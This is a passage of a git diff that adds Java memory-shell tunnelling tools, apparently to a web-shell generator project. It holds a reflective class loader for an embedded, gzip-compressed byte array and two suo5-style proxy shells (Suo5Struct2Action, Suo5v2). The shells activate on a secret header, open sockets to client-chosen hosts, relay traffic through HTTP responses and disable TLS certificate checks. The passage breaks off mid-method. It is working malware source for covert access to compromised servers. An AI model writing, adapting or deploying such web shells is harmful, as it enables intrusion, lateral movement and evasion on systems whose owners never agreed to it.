10, 29, -106, 97, -90, -97, 25, -110, -46, -11, 36, -13, 14, 14, -113, 44, -36, -74, -99, -98, 12, 7, -22, 78, 77, -12, 55, 100, -31, -10, -79, -124, -98, -125, -25, 45, 43, 31, 79, -124, 68, -102, -87, -18, -19, 34, -109, -34, -47, 30, -88, 40, -17, 17, -42, 100, -31, 123, -27, 107, 22, 112, 59, 45, 4, 56, -14, 50, -102, 96, 123, -24, 5, 120, -47, -70, 123, -118, -15, 53, 3, 80, -17, 119, 25, 105, -50, 47, 26, -109, 87, -34, 116, -119, 95, 48, -105, 94, 90, 58, -51, -27, -108, 77, -105, -52, -85, -40, 109, 17, 121, 9, 94, -74, -120, -100, 78, 66, 49, -111, -71, 20, 117, 109, -11, -82, 114, -58, -67, 126, 69, -67, 88, -18, -107, -73, 88, 107, -95, -36, -21, -75, -41, -50, 114, -17, 20, 123, 109, 39, -65, 87, -32, 71, 22, -79, 82, -102, -99, 52, 59, -124, -35, -42, -39, -85, -16, 99, -53, 100, -29, -24, -113, -49, -84, -81, 40, -37, 28, 63, -95, -65, -97, 30, 11, -46, 107, -16, -77, -47, -33, 100, -44, 57, 125, -33, -50, 48, -81, -25, 62, -39, 38, 27, -6, 0, -108, 28, -128, 59, -55, -92, 63, -72, 31, 122, 77, 106, -16, 63, -22, -91, 95, 93, 55, 37, 0, 0}); + Class clazz = reflectionDefineClass(clazzBytes); + namespace.put(chars, clazz.newInstance()); + } + namespace.get(chars).equals(args); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public Class reflectionDefineClass(byte[] classBytes) throws Exception { + URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defMethod.setAccessible(true); + return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Struct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Struct2Action.java new file mode 100644 index 00000000..56bfab0f --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Struct2Action.java @@ -0,0 +1,560 @@ +package com.reajason.javaweb.memshell.shelltool.suo5; + +import javax.net.ssl.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.lang.reflect.Method; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +/** + * @author ReaJason + * @since 2024/12/15 + */ +public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + + public Suo5Struct2Action() { + } + + public Suo5Struct2Action(InputStream in, OutputStream out) { + this.gInStream = in; + this.gOutStream = out; + } + + public void execute() throws Exception { + try { + Class clazz = Class.forName("com.opensymphony.xwork2.ActionContext"); + Object context = clazz.getMethod("getContext").invoke(null); + Method getMethod = clazz.getMethod("get", String.class); + HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest"); + HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse"); + String contentType = request.getContentType(); + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue) + && contentType != null) { + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + return; + } + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } + } catch (Throwable ignored) { + } + } + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { + InputStream in = request.getInputStream(); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = response.getOutputStream(); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + // Cannot convert Integer to int + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5Struct2Action p = new Suo5Struct2Action(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + byte[] newBody = marshal(dataMap); + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equals("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(newBody.length)); + continue; + } else if (k.equals("Host")) { + conn.setRequestProperty(k, u.getHost()); + continue; + } else if (k.equals("Connection")) { + conn.setRequestProperty(k, "close"); + continue; + } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(newBody); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java new file mode 100644 index 00000000..530588b7 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java @@ -0,0 +1,1090 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import javax.net.ssl.*; +import java.io.*; +import java.lang.reflect.Field; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Random; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2025/12/9 + */ +public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + private static ThreadLocal once = new ThreadLocal(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2() { + } + + public Suo5v2(InputStream in, OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object request = unwrap(args[0], "request"); + Object response = unwrap(args[1], "response"); + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + new Suo5v2().process(request, response); + return true; + } + } catch (Throwable ignored) { + } + return false; + } + + @SuppressWarnings("all") + public Object unwrap(Object obj, String fieldName) { + try { + return getFieldValue(obj, fieldName); + } catch (Throwable e) { + return obj; + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + private void process(Object request, Object response) { + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(request, response, dataMap, tunId, sid); + break; + case 0x01: + setBypassHeader(response); + processFullStream(request, response, dataMap, tunId); + break; + case 0x02: + setBypassHeader(response); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(request, response, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + response.getClass().getMethod("setStatus", int.class).invoke(response, 403); + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(response, processTemplateStart(response, new String(sidData)), dirySize); + do { + processHalfStream(request, response, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(response, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(response, new String(sidData))); + + do { + processClassic(request, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + response.getClass().getMethod("setContentLength", int.class).invoke(response, baos.size()); + writeAndFlush(response, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable ignored) { + } finally { + + } + } + + private void setBypassHeader(Object resp) throws Exception { + resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, BUF_SIZE); + resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(Object resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(Object req, Object resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + pipeStream(conn.getInputStream(), out, false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(Object req, Object resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.getClass().getMethod("setContentLength", int.class).invoke(resp, baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(Object req, Object resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = (InputStream) req.getClass().getMethod("getInputStream").invoke(req); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + e.printStackTrace(); + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + + Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(Object req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(Object resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + out.write(data); + if (dirtySize != 0) { + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.getClass().getMethod("flushBuffer").invoke(resp); + } + + private byte[] performCreate(Object request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2(tunId, 1)).start(); + new Thread(new Suo5v2(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + 